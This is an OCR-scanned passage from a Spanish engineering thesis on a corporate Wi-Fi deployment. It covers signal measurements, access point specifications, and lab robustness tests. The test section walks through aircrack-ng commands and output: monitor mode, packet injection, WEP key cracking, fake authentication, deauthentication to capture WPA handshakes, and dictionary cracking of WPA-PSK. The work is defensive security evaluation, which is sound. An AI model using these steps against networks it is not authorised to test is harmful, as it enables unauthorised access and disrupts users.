para realizar la conexion (Figura 3.31). Para la correccion se ingresaba a la configuracion
de la red “luzdelsur” y se verificaba que la casilla de “Validar un certificado de servidor” no
se encuentre seleccionada (Figura 3.32).
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Figura 3.31 Notificacion de certificado para iniciar sesion

Propiedades protegidas de EAP

Al conectar:

[Jvalidar un certificado de servidor

[ ] ABA.ECOM Root CA A
[] Autoridad Certificadora de la Asociacion Nacional del Notaria
[] Autoridad Certificadora del Colegio Nacional de Correduria P
(] Baltimore EZ by DST

D Belgacom E-Trust Primary CA

[] caw HKT SecureNet CA Class A

[] C&W HKT SecureNet CA Class B

<

Seleccione el método de autenticacion:

Contraseria segura (EAP-MSCHAF v2) v l Configurar... |

Habilitar reconexion rapida
[CJHabilitar comprobaciones de cuarentena
[[] Desconectar si el servidor no presenta TLY con enlace de cifrado

[ Aceptar J[ Cancelar J

Figura 3.32 Propiedades de validacion de certificado

3.3.2 Mediciones de los niveles de potencia

Se utilizé el programa NetStumbler versién 0.4.0 para realizar mediciones de los
niveles de potencia, e incluso de posibles interferencias por senales de dispositivos
inalambricos externos. Este programa permite detectar redes inalambricas locales
usando estandares 802.11a, 802.11b y 802.11g, lo que facilita 1) identificar puntos de
acceso no autorizados, 2) verificar la configuracion de las mismas y 3) analizar la
cobertura o nivel de senal a diferentes puntos de distancia.

Para los propésitos definidos solamente necesitaba asegurar los niveles de potencia
de los puntos de acceso.
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Se eligid6 el modelo Trendnet TEW-410APB+ para realizar las pruebas. En las
especificaciones técnicas indica lo siguiente, el umbral de la sensibilidad de recepcion es
-80 dBm a 11Mbps y -65 dBm a 54 Mbps.

En la empresa, se utiliza la velocidad de 54 Mbps lo que indica una sensibilidad de
recepcion de -65 dBm. Las pruebas se realizaron sin linea de vista, es decir, con
obstaculos de por medio y a diferentes puntos, dentro del area de cobertura de un punto
de acceso inalambrico. Como locacion elegida fue San lIsidro, y se usaron algunas
computadoras portatiles para las pruebas a diferentes distancias dentro del margen de 20
metros segun las especificaciones técnicas del modelo.

Para ilustrar las pruebas se presentan las figuras 3.33 a la 3.38, segun se detalla.

i | MAC [ssi © | Name [ Chan [ Speed | Type | SNR | Signale [ Noise- | SNRs |
@ 002401430889 YOU 6 11 Mbps AP -90 100 10
@ 0002CFBF368F  Sofia 9 54Mbps AP -93 100 7
@ 0014D19155F0  SELENIUM 6 48Mbps AP -94 100 6
@ 0014D1C2151A  RAD WIFI 8 54Mbps AP -96 100 4
@ 00156D65EABY  NC3 PERU 994078533 9 11Mbps AP -89 100 M
@ 00304B2BSED® luzdelsur 8 54 Mbps AP 80 100 20
@ 0026CB8OSDS0 luzdelsur 1 54 Mbps AP -65 100 35
@ 0026CB808B40 luzdelsus n 54 Mbps AP -86 100 14
@ 001811204619 luzdelsur n S54Mbps AP -61 100 39
@ 000ESE7C7EA8  luzdelsur n 54Mbps AP -8 100 12
@ OOOEBE7A3ACE  luzdelsur 1 54Mbps AP 81 100 19
6 @ 000E2EAB72A7  intemet wifi 50soles 989686019 3 54Mbps AP -90 1100 10
@ 0014D14FODSC ~ GOPanama 1 54Mbps AP 82 100 18
N5 @ 004F62238FD6  GENESNET 2428896 9 S54Mbps AP -85 100 15
3836E  |@ aoOXAICOSDD  Geod_d 8 54Mbps AP 77 100 23

Figura 3.33 Redes inalambricas detectadas.
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Figura 3.34 Grafica de la sefal a 6 metros de distancia.
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Figura 3.35 Grafica de la sefial a 10 metros de distancia
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Figura 3.36 Grafica de la sefial a 15 metros de distancia
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<} HomeMoy

<3. INTERLAN_3_7156015

43 ntemel banda ancha 557732
<L intemet S/.50 b4 tel 3480540
3 intemel wifi Sisnies SEIGERDN
<3 INTERNET_35_SOLES_X M
<4 krdeins

L4 ¢ 4 64 4 424+ 4444+ 4+ ++ 4+ 4+ 4+ 4+

@ 001811204619
@ QI26CBB0BH40
@ 0QI260B808DS0
(@ 003048286653
+ <L MABE_WPA
+ 4 manela
+ <4 NC3PERU 334076533
+ < PH3
+ <. RADWIF
+ 4 Spes

+ 2k TPUNK

+ <k TRENDnet

+ <4 YOU
+ ? Flers

Figura 3.37 Grafica de la sefial a 20 metros de distancia

En las graficas tomadas se muestra que la sefal maxima alcanzada es de -61 dBm y
la minima alcanzada (o registrada) aproximadamente a -92 dBm.

Para el programa NetStumbler el ruido promedio es de -100dBm, por lo que la
relaciéon senal a ruido seria de:

S/N max = 39 dB, para la maxima senal alcanzada.
S/N min = 8 dB, para la minima sefnal registrada.

En general, la relacion senal a ruido hasta los 15 metros es aceptable, pero también
indica que la potencia del punto de acceso inaldambrico no se mantiene uniforme y la
variacién en la distancia demuestra que la senal se debilita con los obstaculos, sin
embargo, mas de 20 metros ya se encuentra el siguiente punto de acceso para los
clientes inalambricos en las zonas donde se permiten las redes inalambricas de la
empresa, por lo que la pérdida de senal en un punto de acceso se compensa en la senal
de otro vecino.

3.4 Equipamiento

Se describen en esta seccion a los puntos de acceso inalambrico que son parte del
sistema al cual se aplico la solucion.

1. Trendnet TEW-410APBplus (TEW-410APB+)
Trendnet TEW-410APB

Trendnet TEW-510APB

D-Link DWL-3200AP

> 0N
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3.4.1 Trendnet TEW-410APBplus (TEW-410APB+)

La Figura 3.38 muestra a este equipo. Sus caracteristicas son:
i. Usa banda de frecuencia ISM 2.4 GHz, sumiso al Wi-Fi con las normas IEEE 802.11g
y IEEE 802.11b.
ii. Suministra velocidad de ancho de banda inalambrico de hasta 54Mbps con retroceso
automatico.
iii. Soporta los Modos Punto de Acceso y Cliente de Punto de Acceso.
iv. La caracteristica “Wireless Distribution System” (WDS) soporta a los Modos “Wireless
Bridging” y Repetidor.
v. 64/128-bit — con proteccién equivalente para cable (WEP) y con HEX, o clave de
acceso.
vi. Soporta Filtrado de direcciones MAC para Acceso de Autorizacion (40 entradas)
vii.Permite que los usuarios inhabiliten la difusibn de ESSID para la proteccion de la
seguridad.
viii. Antenas de Diversidad Desmontables de 3dBi que se pueden reemplazar con
antenas opcionales de mayor ganancia para extender el alcance o area de cobertura.
ix. Configuracion y mantenimiento faciles con el Navegador Web (HTTP).
x. Memoria Flash para actualizacién del “firmware” y ajustes de guardar/restaurar.
xi. Los dispositivos de IEEE 802.11b abarcan distancias de 35 a 60 metros en el interior,
100 a 300 metros en el exterior.
xii.Los dispositivos de IEEE 802.11g abarcan distancias de 20 metros en el interior, 50
metros en el exterior.
3.4.2 Trendnet TEW-410APB

La Figura 3.39 muestra a este equipo. Sus caracteristicas son:
i. Usa banda de frecuencia ISM 2.4 GHz, sumiso al Wi-Fi con las normas |IEEE
802.11g y IEEE 802.11b.
ii. Suministra velocidad de ancho de banda inalambrico de hasta 54Mbps con retroceso
automatico.
iii. Soporta a los Modos Punto de Acceso, Cliente de Punto de Acceso, “Wireless
Bridge” o Repetidor.
iv. 1 x 10/100Mbps Negociacion automatica y puerto “Auto-MDIX Fast Ethernet”.
v. Configuracién y mantenimiento faciles con el Navegador Web (HTTP).
vi. Soporta encriptacion 64/128-bit WEP para modo inalambrico.
vii. Soporta Wi-Fi Protected Access (WPA) y Encriptacién 802.1x.

viii. Soporta Filtrado de direcciones MAC para Acceso de Autorizacién (40 entradas).
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ix. Antenas de Diversidad Desmontables de 2dBi que se pueden reemplazar con
antenas opcionales de mayor ganancia para extender el alcance o area de cobertura.
x. Permite que los usuarios inhabiliten la difusion de ESSID para la protecciéon de la
seguridad.
xi. Memoria Flash para actualizacion del “firmware” y ajustes de guardar/restaurar.
xii. Cobertura de distancias de 35 a 100 metros en el interior, 100 a 300 metros en el
exterior.
3.4.3 Trendnet TEW-510APB

La Figura 3.40 muestra a este equipo. Sus caracteristicas son:
i. Compatibilidad Wi-Fi con los dispositivos inalambricos IEEE 802.11a, IEEE 802.11b y
IEEE 802.11g.
ii. Sistema inalambrico en un Chip (WiSoC), que incluye un procesador MIPS 4000 de 32
bits integrado y una frecuencia de 200MHz.
iii. Admite velocidad de datos de tecnologia Super AG.
iv. Admite Punto de Acceso y Cliente AP WDS, Repetidor y Modos de Transmision.
v. Escala de valoracién de datos dinamicos a 108, 54, 48, 36, 24, 18, 12, 9 y 6Mbps para
802.11g.
vi. Escala de valoracién de datos dinamicos a 11,5.5, 2y 1 Mbps para 802.11b.
vii. Admite caracteristica ESSID Activado/Desactivado para aumentar la seguridad.
viii. Privacidad equivalente con cables (WEP) de 64 a 128 bits con clave HEX o ASCII.
ix. Admite WPA/WPA-PSK, AES y TKIP.
x. Admite Modo Super AG, turbo dinamico (con algoritmo adaptativo de radio) y estatico.
xi. Compatible con los estandares IEEE 802.11e, h, I.
xii. Admite mejoras en la calidad multimedia inalambrica del servidor (QoS).
xiii. De facil configuraciéon con Navegador Web y Memoria Flash para una actualizaciéon
del “Firmware”.
xiv. Gama para interiores de 30 ~ 50 metros (depende del entorno).
xv. Gama para exteriores de 50 ~ 200 metros (sin XR), 400 ~ 450 metros (con XR)
(depende del entorno).
3.4.4 D-Link DWL-3200AP

El D-Link DWL-3200AP (Figura 3.41) es un poderoso, robusto y fiable Punto de
Acceso para operar en entornos de empresas con diversos negocios. Disefiado para
instalaciones internas, este punto de acceso provee opciones avanzadas de seguridad
para los administradores de red, permitiéndoles desplegar una administracion muy
robusta en redes inalambricas. El punto de acceso DWL-3200AP soporta “Power Over
Ethernet’ (PoE) y provee dos antenas de alta ganancia para una o6ptima cobertura
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inalambrica. Sus principales caracteristicas son: Soporte WDS para sus diferentes modos

de operacion

i. Soporte de Multiples SSID’s

ii. Soporte 11g, 108Mbps Modo Turbo

iii. Robusto punto de acceso para soluciones internas.

iv. Soporte de PoE (Power over Ethernet), 802.3af.

v. Soporte WEP.

vi. Soporte WPA, AES y 802.11i.

vii. Seguridad Ampliada, con soporte de ACL, 802.1x y Administracion versatil de filtrado
de direcciones MAC, via D-Link D-View, SNMP v3, Web, Telnet y AP Manager.

Figura 3.38 Trendnet TEW-410APBplus

Figura 3.39 Trendnet TEW-410APB
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Figura 3.40 Trendnet TEW-510APB

Figura 3.41 Trendnet TEW-510APB

Nota:
En el siguiente capitulo se describiran los aspectos correspondientes al cronograma de
los trabajos y la estimacion de costos.



CAPITULO IV
PRUEBAS, PRESUPUESTO Y TIEMPO DE EJECUCION

En el presente capitulo se tocan los temas involucrados a las pruebas de

robustez, el presupuesto y al cronograma del proyecto de ingenieria.
4.1 Pruebas de robustez

Para la realizacion de las pruebas comparativas se utilizé el programa Aircrack-ng,
Este es un programa que viola la seguridad de claves 802.11 WEP y WPA/WPA2-PSK.
4.1.1 Preparacion del laboratorio

La prueba se realiza (Figura 4.1) ejecutando el programa aircrack-ng sobre un
sistema Linux en una computadora movil con tarjeta inalambrica (ATACANTE) con
direccion fisica 00:24:2B:9C:F1:2A. Se dispuso de un punto de acceso inalambrico (PA)
modelo Trendnet TEW-410APB+ identificado con SSID ‘luzdelsur’ y su direccién fisica
MAC 00:0E:8E:7A:24:05, y un cliente inalambrico autorizado (CLIENTE) a autenticarse a
dicho punto de acceso inalambrico con direccion fisica MAC 00:21:5C:2A:28:FB.

Nota:

Las pruebas realizadas se tuvieron que hacer en un ambiente preparado para que el
CLIENTE y el PA estuvieran en las cercanias del ATACANTE debido a la débil potencia
que normalmente tiene la tarjeta inalambrica de una computadora movil.

Figura 4.1  Cliente, Atacante y PA, respectivamente
La tarjeta inalambrica del ATACANTE es configurada en modo de monitoreo, ya que
por lo normal ésta se encuentra en modo administrable (lo que permite autoconfigurar los
accesos a las diferentes redes inalambricas), para ello se ejecuta el siguiente comando:
# airmon-ng start wlan0
Donde wlan0 es la interfaz de la tarjeta inalambrica del ATACANTE (Figura 4.2).
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[root@bt: # airmon-ng start wlanO

Found 2 processes that could cause trouble.
If airodump-ng, alreplay-ng or alrtun-ng stops wvorking after
a short period of time, you may want to kill (sorme of) them'

PID Nae
8283 dhclient3
8444 dhclient3

Process with PID 8444 (dhclient3) 1s running on interface wlanl

Interface Chipset Driver

‘wlanO Atheros athSk - (phy0O]
' (rmonitor mode enabled on mwon0)
Figura4.2 Resultado del comando airmon-ng start wianO

Se habilitd una interfaz inalambrica mon0 en modo de monitoreo. Con el comando

iwconfig, se puede visualizar las interfaces de redes inalambricas en la Figura 4.3.

|rootch: # iuconfig
|lo no vireless extensions.

ethO no wireless extensions.
umaster0 no wireless extensions.

wlanO IEEE 802.11bg ESSID:""
Mode: Managed Frequency:2.412 GHz Access Point: NMot-Associated
Tx-Power=27 dBm
Retry min limit:? RTS thr:off Fragrwent thr:off
Encryption key:off
Power NManagerment:off
Link Quality:0 Signal level:0 Noise level:0
Rx 1nvalid nwid:0 Rx 1nvalid crypt:0 Rx 1nvalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=27 dBm
Retry min limit:7?7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:O
Rx 1nvalid nwid:0 Rx 1nvaliad crypt:0 Rx 1nvalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed bheacon:0

Figura 4.3 Resultado del comando iwconfig

Se realiza la prueba de inyeccion de paquetes para asegurarse de que la tarjeta
inalambrica tiene soportada esta opcion y a la vez listar los puntos de acceso que
responden a esta difusidén de paquetes (obteniendo su canal de difusion y su direccion
MAC), para ello se ejecuta el siguiente comando (Figura 4.4):

# aireplay-ng -9 monO
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rootlbt: # aireplay-ng -9 monO

17:49:35 Trying broadcast prole reguests...

17:49:36 1Injection is working!'

17:49:37 Found 13 APs

17:49:37 Trying directed probe reguests...

17:49:37 00:26:CB:80:8D:50 - channel: 11 - ' luzdelsur'

17:49:40 Ping (min/avg/max): 2.212ms/14.425ms/31.897ms Power: -84.2S
17:49:40 20/30: 66%

17:49:40 OO:0E:8E:74:24:0S5 - channel: 11 - 'luzdelsur’

17:49:42 Ping (min/avg/max): 1.179ms/3.795ms/14.344nms Power: -61.94
17:49:42 18/30: 60%

17:49:492 02:24:0A:12:5A:0D - channel: 10 - ®'HP4C9F74&!

17:49:47 Ping (min/avg/max): 3.978ms/9.645ms/1%.516ms Power: -85.14
17:49:47 7/30: 23%

17:49:47 00:04:ED:42:5D:92 - channel: 11 - 'andrea'

Figura4.4 Resultados de comando aireplay-ng -9 monO

La configuracion del punto de acceso o PA se realiza mediante la conexiéon a su

interfaz Web. Esto puede verse en la Figura 4.5

LAN

AP Name: aplig

MAC Address: 00:0E:8E:7A:24:05

Configuration type: StatcIP Addiess v

IP Address: 192 168 1 250 This is the IP Address, Subnet Mask and

Subnet Mask: 255 255 255 |0  Default Gateway of the Access Point as it is

Wireless

Gateway: 192 168 1 1 seen by your local network

MAC Address: 00:0E:8E:7A:24:05

iMode 11b+g v
SSID
SSID Juzdelsur Broadcast Enable v
Channel 1M v
Domain Europe
Security Enable Disable | Conhgure Secunty |

Figura4.5 Configuracion del punto de acceso o PA

4.1.2 Pruebas WEP
Se configurd el PA con seguridad WEP con una clave de 64 bits (Figura 4.6). La clave

generada es C6774663DD. Se capturan los paquetes con vectores de inicializacién (IVs)

al punto de acceso inalambrico o PA por el canal 11 con la interfaz monO y guardando los

datos en un archivo con prefijo WEP, con el siguiente comando (Figura 4.7)
# airodump-ng - ¢ 11 - -ivs - - bssid 00:0E:8E:7A:24:05 - - write wep mon0
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The Access Point supports 3 different types of secunty settings. There
Securlty are: WPA Pre-Shared Key, WPA RADIUS and WEP. Please see the
help tab for more details on the different types of security settings

f_ Security Mode: WEP v
=

;DafaultTransmiI Key: © 1020304
[ WEP Encryption: 64 bits 10 hex digits
:[:‘ Passphrase: 1luzdelsur [ Generate
1=

B Key 1: | C6774663DD

E

i Key 2: |AF6BD13ECD

5 Key3: 8E3I3FB2BFI

=

= Key4: CF12611E1D

i

|-

= ['Apf)ly'] [ Cancel J [Help |

Figura 4.6 __C_onfiguracién el PA con seguridad WEP con una clave de 64 bits

CH 11 )[ Elapsed: 59 mins ][ 2010-07-30 19:52

BSSID PUR RXQ Beacons #Data, #/s CH NMB ENC CIPHER AUTH ESSID
OO:0E:8E:7A:24:05 -37 81 34687 25204 4 11 54 BEP VWEP luzdelsur
BSSID STATION PUR Rate Lost Packets Probes
OO:0E:8E:7A:249:05 00:21:5C:24:2B:FB -23 1 -54 2 12901

Figura 4.7 Resultados de comando airodump-ng

La cantidad de paquetes capturados influye mucho en el proceso, ya que a mayor
cantidad, menor el tiempo de procesamiento y mayor el éxito de encontrar la clave
encriptada. Una vez obtenido una cantidad suficiente de paquetes con Vs capturados en
el archivo wep.pcap, se procede a ejecutar el siguiente comando para descifrar la clave
compartida WEP.

# aircrack-ng —a 1 —e luzdelsur —b 00:0E:8E:7A:24:05 wep.pcap

Donde —a 1 indica encriptacion WEP, -e el SSID y —-b la direccion MAC del PA,
wep.pcap es el archivo de donde se leeran los paquetes capturados. La Figura 4.8
muestra como la clave fue encontrada:

C6774663DD.

Asi mismo se realizé también el ataque de autenticacion falsa, esto se puede lograr
en sistemas de autenticacion WEP (abierta u “Open System” y compartida o “Shared
Key"). Esto permite asociar la direccion MAC al punto de acceso inalambrico si no hay
clientes asociados a ese punto de acceso. (Figura 4.9)

# aireplay-ng -1 0 —e luzdelsur —a 00:0E:8E:7A:24:05 —h 00:24:2B:9C:F1:2A mon0
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voot@br: # mircrack-ng -a 1 -e luzdelsur -b OO:DE:BE:7A:2%4:05 vep.pCap |
pening wep.pcap

ttack vill be restarted every 5000 captured ivs,

tarting PTU attack with 24115 1va3.

mrcrack-ng 1.0 r164s

[00:00:23] Tested 64640 key= (got 1297S 1Ws)

KB depth byte (vote)
0 o/ 1 C6(21248) 49(17408) 3E(17152) 29(168956) Sh(16896) 20(16640) 67 (16640)
1 2/ 30 77(17664) 02(17408) 37(17408) 83 (15896) C5(166490) [7{166:10) 1F(16640)
2 0o/ 11 46 (20229) 07(18176) 9C(17408) 0S5(17152) 97(17152) 4C(16896) 81 (16896)
3 2/ 13 63 (18176) 93(16896) DO(16836) FEB(16896) 45(16690) 60 (146490) D9(16384)
4 11/ 16 BS (15872) 3C(15616) SD(15616) 79(15616) C3(155616) 1D(15360) 70(15360)

KEY FOUND' ([ C6:77:46:63:DD ]
Decrypced correctcly: 100%

Figura4.8 Obtencion de clave mediante comando aircrack-ng

roorfne: # aireplay-ng -1 0 -e luzdelsur -a O0:OL:BE:7A:24:05|
-h 00:24:2B:9C:F1:24 monO0
20:00:11 Waitaing for heacon frame (BSSID: 00:0E:8E:74:24:0S) on channel 11

20:00:11 Sending Authentication Request (Open System} [ACK]
20:00:11 Authentication 3uccessful

20:00:11 Sending Association Request [ACK]

20:00:11 As3ociation successful :-} (&AID: 1)

Figura4.9 Ataque de autenticacion falsa mediante comando aireplay-ng

Asi el ATACANTE luego aparecera como un cliente inalambrico asociado al punto de
acceso que se estuvo monitoreando (Figura 4.10). En la figura aparecen las direcciones
MAC del CLIENTE y del ATACANTE asociados al PA.

CH 11 ){ Elapsed: 1 hour 10 mins ]J{ 2010-07-30 20:03

BSSID PUR RZQ Beacons tipata, H/s CH MNB ENC CIPHER AUTH ESSID
OD:0E:BE:7A:24:05 -39 100 10938 25481 0 11 549 WEP WEP OPN  luczdelsur
BSSID STATICN PWR Rate Lost Packets Prokes
O0:0E:8E:7A:249:05 O00:24:2B:9C:F1:22 0 1 -1 0 7

O0:0E:BE:7A:24:05 00:21:SC:2A:28:FB -Z4 1 -12 0 13109

Figura 410 ATACANTE como un cliente inalambrico
4.1.3 Pruebas WPA-PSK
Se configura el PA con seguridad WPA con clave pre-compartida. Figura 4.11.

T

Security Mode: \WPAPre-SharedKey v

r
-
=

|,E WPA Algorithms: AES v
WPA Shared Key: luzdelsu

“_up Key Renewal: 300 seconds

Figura 411 ATACANTE como un cliente inalambrico
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La clave pre-compartida es luzdelsur. Luego se procedié a capturar los paquetes
completos al PA por el canal 11 mediante la interfaz mon0 y guardando los datos en un
archivo con prefijo wpa, con el siguiente comando (resultados en Figura 4.12):

# airodump-ng —c 11 - -bssid 00:0E:8E:7A:24:05 - - write wpa mon0

CH 11 }[ Elapsed: 4 mins )} 2010-07-30 20:24 )

BSSID PUR RXQ Beacons #Data, #/s CH HMB ENC CIPHER AUTH ESSID
O0:0E:8E:74:24:05 -44 100 3128 587 S 11 5S4 WPA CCHMP PSK luzdelsur
BSSID STATION PWR Rate Lost Packets Probes
00:0E:8E:74:24:05 00:21:5C:2k:28:FB -33 54 -54 0 1727

Figura 4.12 Resultados del comando airodump-ng

Para poder realizar la obtencion de la clave pre-compartida WPA es mediante fuerza
bruta, por lo que es necesario obtener los paquetes de negociacion entre el CLIENTE y el
PA (“WPA Handshake”). Como esto ocurre en el momento en que el CLIENTE se
conecta al PA, puede pasar mucho tiempo para que esto vuelva a ocurrir. Por lo que se
procede a realizar un ataque de no autenticacion para el CLIENTE asociado con el AP, y
forzar a una reautenticacion mediante el siguiente comando (resultados en Figura 4.13):

# aireplay-ng —0 4 —a 00:0E:8E:7A:24:05 — 00:21:5C:2A:28:FB mon0
Donde -0 4 indica el envio de 4 paquetes de no autenticacién, -a indica la direccién

MAC del PA y — indica la direccion MAC del CLIENTE a dejar de estar autenticado.

«~ aiteplay-ng -U 4 -& UUIUE:BE:7A:24:U05 -¢ UU:Z1:5U:24:28:FF monD |
20:21:32 Waiting for beacon frame (BSSID: O0:0E:8E:74:24:05) on channel 11
20:21:33 Sending 64 directed Dehuth. STMAC: [00:21:5C:2Ah:28:FB) [ 0)69 ACKs)
20:21:33 Sending 64 directed DelAuth. STHAC: [00:21:5C:214:28:FB) [ 0] 649 ACKs)
20:21:349 Sending 64 directed Deduth. STMAC: [00:21:5C:24:28:FB] [ 0|64 ACKs)
20:21:35 Sending 64 directed Dehuth. STMNAC: [00:21:5C:2A:2B:FEB] [18]564 ACKs)

Figura 4.13 Resultados del comando aireplay-ng
Asi aparecera en la esquina superior derecha un mensaje indicando que el paquete
de negociaciéon ha sido capturado (Figura 4.14).

CH 11 )[ Elapsed: © mins ][ 2010-07-30 20:24%4 ][ WPA handshake: OO:O0E:8E:7A4:24:0S
BSSID PUR RZQ PReacons #Data, #/s CH HNMB ENC CIPHER AUTH ESSID
0O0:0E:B8E:7A4:24:05 -40 100 5257 1899 5 11 54 HPA CCHP PSK luzdelszsuc
BSSID STATION PUR Rate Lost Packets Probes
.OO:OE:BE:7A:24:05 00:21:5C:2A:28:FB  -33 54 -S54 0 1727

Figura 4.14 Mensaje indicando paquete de negociacion capturado
Se Intenta descifrar la clave mediante el comando aircrack-ng (similar al usado en
WEP), no se logra éxito alguno. El comando total es el siguiente (resultados Figura 4.15):
# aircrack-ng —a 1 —e luzdelsur —b 00:0E:8E:7A:24:05 wpa.cap
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Alrcrack-ng 1.0 r164S

(00:00:21} Tested 136193 keys (gor 13023 1IVs3)

KB depth byte (vote)
0 0/ 1 FA(34048) D0 ( 256) FB( 256) FC( 256) FID{ 256) O1( 0) 02 ( [8]])
255/ 1 FF( 0) CD( 256) CE( 256) CF( 256) DO( 256) D1( 2S56) D2( 25S6)

4/ 99 BC( 768) OB( S12) 13 ( S12) 14( S12) 1A( 512) 1F( S12) 27( S512)
18/ 3 FD( S12) O0( 256) O1( 256) O3 256) O6( 256) OB( 256) OE( 2S56)
3/ 68 87( 768) OE( S12) OF( S12) 15{ S12) 29( S12) 3S( S12) 39( S12)

ot =

g

Fatled. Next try with 15000 1V=.
*C
Quitting aircrack-ng...

Figura 4.15 Resultados del comando # aircrack-ng (FAILED)

Las probabilidades para encontrar la cléve pre-compartida WPA dependen de tener
un diccionario de palabras donde se pueda contener la clave que se busca, ya que el
programa usa cada una de las palabras en la negociacién con el punto de acceso para
descubrir si alguna de ellas es la clave buscada. Existen programas que mediante reglas
especiales ayudan a formar un archivo de hasta 40 millones de palabras que contienen
toda clase de caracteres y todo tipo de tamanos. Finalmente se usé un diccionario comun
mediante el siguiente comando:

# aircrack-ng —w password.Ist wpa-01.cap

Donde —w indica el archivo que contiene el diccionario a usar.

root@bt: f# aircrack-ng -v password.lst wpa-0l.cap
Opening wpa-01.cap
Read 17416 packets.

# BSSID ESSID Encryption

1 O0OO0:0E:8E:7A:24:05 luzdelsur WPA (1 handshake)

Choosing first network as target.
Opening wpa-01l.cap
Reading packets, please wait...
Aircrack-ng 1.0 r1645S
[00:00:00] 204 keys tested (252.04 k/s)

Current passphrase: nirvanal

7F FO AD 92 12 86 A7 8A DA 40 75 3B B4 98 D7 E4
OA 9D EC F1 13 46 65 0D CB ED E1 BO 2F E9 60 DF

e

Haster Key

Transient Key : FB 35 31 1E 95 4E 1E 39 6E Al 8B E8 F4 AC DD 42
92 44 FC 3D 12 8D E9 B8 DD F6 92 6A 53 18 F2 21
43 SE BA 38 49 CE 63 D9 C6 F2 11 17 13 3E F8 2A
1E 96 92 E9 72 34 72 F5 2D 8A A5 CB 9E 6A 96 DC

EAPOL HMAC : FC F8 38 FD 84 8F EO BO 52 CO 37 E1 68 F8 18 22

Passphrase not in dictionary
Figura 4.16 Prueba fallida de comando aircrack-ng
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La Figura 4.16 muestra que la clave no pudo ser identificada dentro del diccionario
usado. En cambio si la palabra clave se encuentra en el diccionario, sera revelada por el

programa como la clave encontrada (Figura 4.17).
rootffhr: § aircrac ~.car|
Opening wpa-01.cap

Reading packets, please wvait...

Aircrack-ng 1.0 ri164Ss
[00:00:00) 236 keys tested (256.72 k/g)
KEY FOUND' [ luzdelsur ]
Haster Key : 13 C4 42 78 59 4F D9 75 B2 44 86 8B 95 9E 1F 63
74 85 80 8A B9 21 C9 2B 85 95 F7 74 06 DA SD 98
Transient Key : 76 6% OC 51 6B OF 78 BE CA 8E CO DO FS 4F SF 4F
6E X7 A2 1E F8 AA 93 3D AE 16 F2 A3 EO 56 B8F A3
28 9E B3 47 AD BE BA 71 29 F1 DA 04 4C 66 36 80
41 C9 74 83 B6 75 D7 49 2F 9D A9 2B EA B8 9D 55

EAPOL HHAC : 67 60 AD 49 93 84 10 8B 3A BS E2 CO E4 9D D7 30

Figura 4.17 Prueba exitosa de comando aircrack-ng
Si se ejecuta el ataque de autenticacion falsa, la asociacion no funciona debido a que

con la encriptacion WPA se niega el acceso.
# aireplay-ng -1 0 —e luzdelsur —a 00:0E:8E:7A:24:05 —h 00:24:2B:9C:F1:2A monQ

rootfbre: # aireplay-ng -1 0 -e luzdelsur -a 00:0E:8E:74:24:05
-h 00:24:2B:9C:F1:2A monO
20:34:53 UWaiting for beacon frame (BESSID: OO:NE:SE:7A4:24:05) on channel 11

20:34:53 Sending Authentication Recuest (Open System) [ACK]
20:34:53 Authentication sSuccessful

20:34:53 Sending Association Recuest [ACK]

20:34:53 Denied (code 12), wrong ESSID or WPA ?

20:34:56 Sending Authentication Request (Open 3ystem) [ACK)
20:34:56 Authentication sSuccesstul

20:34:556 Sending Association Recuest [ACK]

20:34:56 Denied (code 12), wrong ESSID or WPA ?

20:34:59 Sending Authentication Request (Open Systern) [A&ACK]
20:34:59 Authentication 3uccesstul

20:34:59 Sending Association Recuest [ACK]

20:34:59 Denied (code 12), wrong ESSID or UWPA ?

20:35:02 Sending Authentication Reguest (Open System) [ACK]
20:35:02 Authentication Successiul

20:35:02 Sending Association Recuest [ACK]

20:35:02 Denied {(code 12), wrong ESSID or WPA ?

Figura 4.18 Prueba fallida de comando aireplay-ng (no se logra asociacion)
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4.1.4 Pruebas WPA con RADIUS
Se configura el PA con seguridad WPA con servidor RADIUS (Figura 4.19).

Security Mode: WPA RADIUS v

WPA Algorithms: AES +~

\ IUS Server Address: 10 110 1 g

" RADIUS Server Port: 1812

‘Radius Shared Secret: ' luzdelsurAES

E.'.. Group Key Renewal: 300 seconds

Figura 4.19 Configuracién PA con WPA

La clave o secreto compartido es luzdelsurAES, y unicamente es una clave que se
comparte entre el servidor RADIUS y el punto de acceso inalambrico, ya que a los
clientes inalambricos se les solicitara un usuario y una contrasefa dentro del dominio del
directorio activo.

Se procede a capturar los paquetes completos al PA por el canal 11 mediante la
interfaz mon0 y guardando los datos en un archivo con prefijo radius, con el siguiente
comando (resultados Figura 4.20):

# airodump-ng —c 11 —bssid 00:0E:8E:7A:24:05 —write radius mon0

CH 11 ][ Elapsed: 42 mins ][ 2010-07-30 20:48

BSSID PWUR RXQ Beacons fiData, #/s CH HMB ENC CIPHER AUTH ESSID
0O0O:0E:8E:7A:24:05 -37 81 45023 678 49 11 5S4 WPA CCHP NGT 1luzdelsur
BSSID STATION Lost Packets Probes
OD:0OE:8E:7A:24:05 00:21:5C:2A:28:FB -23 1 -54 2 847

Figura 4.20 Resultados aplicacién de comando airodump-ng
Luego se procede a realizar un ataque de no autenticacion para el CLIENTE asociado
con el AP y forzar a una re-autenticacion, se logra capturar un paquete de negociacion el
cual es guardado en el archivo radius-01.cap, al aplicar el comando:
# aireplay-ng —0 4 —a 00:0E:8E:7A:24:05 —c 00:21:5C:2A:28:FB mon0

CH 11 ][ Elapsed: 47 mins ][ 2010-07-30 20:53 ][ UPA handshake: 00:0E:8E:7A4:24:05

BSS1ID PYR RXQ Beacons HData, #/s CH MNE ENC CIPHER AUTH ESSID
OO:0E:8E:7A:24:05 -39 81 45023 821 4 11 5S4 BPAL CCHP HGT luzdelsu

BSSID STATION PBR Rate Lost Packets Probes

OO:0E:8E:7A:24:0S 00:21:SC:2A:28:FB -21 1 -S54 2 1627

Figura 4.21 Paquete de negociacién capturado
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A pesar de colocar el hombre del usuario y la contrasefia dentro del archivo de
diccionario de palabras para romper la clave, el programa no puede indicar cual es la

clave de autenticacién (Figura 4.22)

Aircrack-ng 1.0 ri1s64S
[00:00:43) 216 keys tested (262.92 k/8)
Current passphrase: gcarlett
Master Key : 7F FO AD 92 12 86 A7 8A DA 40 75 3B B4 95 D7 E4
QA 9D EC F1 13 486 65 OD CB ED E1 BO 2F E9 €0 DF
